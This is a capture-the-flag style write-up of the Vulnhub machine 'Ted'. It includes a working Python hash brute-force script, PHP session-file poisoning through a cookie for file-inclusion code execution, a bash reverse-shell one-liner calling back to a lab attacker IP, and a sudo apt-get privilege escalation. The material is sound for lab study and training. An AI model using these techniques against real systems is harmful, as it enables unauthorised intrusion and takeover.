Ted – Vulnhub Writeup

Hi Everyone, It’s been a while since I posted something, and today, we’re doing Ted from Vulnhub in where we’ll dive into PHP web app with complex file inclusion vulnerability

You can get machine from here

Recon:

Discovering IP

We’ll start by discovering machine IP, this time we’ll go with netdiscover tool which is built in kali.
So, we’ll run sudo netdiscover and wait for results

Discovered IP: 192.168.52.131

Running NMAP

In order to get information about all TCP Ports and it’s services we can run nmap with -sC -sV where sC is used to run common scripts and sV for version enumeration of service.

we’ll also append -p- argument to have  all ports scanned and –open to make sure we don’t try to enumerate closed ports, so our whole command will look like this:
nmap 192.168.52.131 -p- -sC -sV --open

And here’s nmap Results:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-06 13:58 EDT
Nmap scan report for 192.168.52.131
Host is up (0.00013s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login

so we’ve only 80 port open, let’s see what’s going on there.

Hacking into Panel.

Brute-Forcing Password.

Seems like a normal login page, I’ve fired up burp and inspected request, turns out we have few things going on here, according to this request and response we already discovered some stuff about this web app

  1. We’ve discovered that this webapp uses PHP, request is being sent to authenticate.php and we’ve PHPSESSID cookie
  2. error message says “Username is not correct” which most probably will allow as to enumerate usernames

on my second try I tried to send username “Admin” and in response I got


Password or password hash is not correct, make sure to hash it before submit.

so we know there’s admin as an user and password field should send hash and not the plain text

but we don’t know which hash, so we’ll have to guess it, I’ll write a py script to try most common passwords with commonly used hashes with PHP, like MD5 and SHA1

and here’s script


import requests
import hashlib
from concurrent.futures import ThreadPoolExecutor


url = "http://192.168.52.131/authenticate.php"

wordlist = "/usr/share/seclists/Passwords/Common-Credentials/best1050.txt"

hashlist = []

def generate_hashes(str):
    hashlist.append(hashlib.md5(str.encode()).hexdigest())
    hashlist.append(hashlib.sha1(str.encode()).hexdigest())
    hashlist.append(hashlib.sha256(str.encode()).hexdigest())


def attempt_login(password_hash):
    password_hash = password_hash.upper()
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    response = requests.post(url, data=f'username=admin&password={password_hash}', headers=headers, allow_redirects=False)
    if "Password or password hash is not correct" not in response.text:
        print(f'Valid Hash Found - {password_hash}')
        print(response.text)
        return True
    return False

with open(wordlist, "r") as password_list:
    for item in password_list:
        generate_hashes(item.strip())

executor = ThreadPoolExecutor(max_workers=50)
for result in executor.map(attempt_login, hashlist):
    if result:
        executor.shutdown()

this code generates MD5, SHA1 and SHA256 hashes from seclists “best1050.txt” wordlist, then uses multithreading with 50 workers to send all those hashes to authenticate.php page, but first converts hashes to uppercase, at first I didn’t had it and seems to be, web app is case sensitive to hashes, so when I converted them to uppercase, I got result


└─$ python3 brute_pass.py
Valid Hash Found - 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918

Now, if we paste this hash in login page, we’re able to log in into panel which says “simple file browser”.

Getting RCE.

after login we see search page which can be used to read file, first I tried to open “index.php” and I saw the login page from earlier, and I thought, maybe HTML Got rendered.

 

then I entered “authenticate.php” hoping I’d see some source code but I’ve noticed something even better, php file was actually working returning redirect response with 301 code and Location header, also it was showing invalid username error. this means, “include” function is being called inside of the code and if we somehow force webapp to read our php file, it’ll execute it.

but there’s one problem we can’t upload any files in here and code doesn’t seem to open remote files, after lots of things to try, I noticed that we had that weird “user_pref” cookie next to session id, and I tought, maybe it’s also stored in session file too.

PHP stores local copies of sessions in order to recognize PHPSESSID cookies, there might be few places where it can be, in our case it was var/lib/php/sessions/sess_[SESS_ID]

after last login, I had PHPSESSID lr26gqt8ahlcriqkq02r97pa35 so I entered /var/lib/php/sessions/sess_lr26gqt8ahlcriqkq02r97pa35 and I see user_pref in response

I modify My cookie to urlencoded version of <?php echo "123"; ?> and search for /var/lib/php/sessions/sess_lr26gqt8ahlcriqkq02r97pa35 again, but twice to let session update, and I see 123 in response
loggedin|b:1;name|s:5:"admin";id|i:1;user_pref|s:20:"123";
which means we can add malicious code in there instead of echo and gain RCE.

first, I run system(“whoami”)’s urlencoded version %3c%3f%70%68%70%20%73%79%73%74%65%6d%28%22%77%68%6f%61%6d%69%22%29%20%3f%3e and I see that web server uses www-data user and command execution is possible, now we can get reverse shell.

Getting Reverse Shell.

I urlencode <?php system("bash -c 'sh -i >& /dev/tcp/192.168.52.128/9001 0>&1'") ?> and set it as my cookie, and start Netcat listener on port 9001 with command nc -lvnp 9001 and search my session file again and I got shell.

Escalating Privileges

running sudo -l tells us that we can use apt-get command without password


$ sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/apt-get

we can use sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash to get root. then use python to get stable shell.

Aaand, we got root, it was interesting machine at some point and I hope I made everything clear for you.

See you and Happy Hacking.